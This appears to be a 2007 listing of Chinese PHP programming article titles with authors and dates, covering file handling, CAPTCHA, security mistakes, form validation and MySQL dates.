PHP中对文件的操作问题总结
echoright 发布于 2007-03-28 13:51:00
-
“ob系”函数的几个个人理解的区别,结合的着实很令人晕头 *
gently 发布于 2007-11-25 11:50:19
-
也谈在PHP中实现中文汉字验证码 *
gently 发布于 2007-07-25 11:49:02
-
PHP 的 7 大安全错误(中文版)
avinmo 发布于 2007-10-02 11:46:20
-
[转]PHP网站漏洞的相关总结
CNI.F1 发布于 2007-12-15 13:21:42
-
定义项目根路径综合解决方法
jiania 发布于 2007-12-20 14:45:39
-
jiania->一卡通自动售检票系统技术管理规定
jiania 发布于 2007-06-27 12:46:31
-
25岁以上程序员单身手册
jinxikun001 发布于 2007-12-04 17:49:43
-
检查提交的值是否为空[包括radio和checkbox] *
coolstr 发布于 2007-12-11 00:01:50
-
MySql日期处理系列-日期截取/转换方法 *
coolstr 发布于 2007-12-19 16:55:09
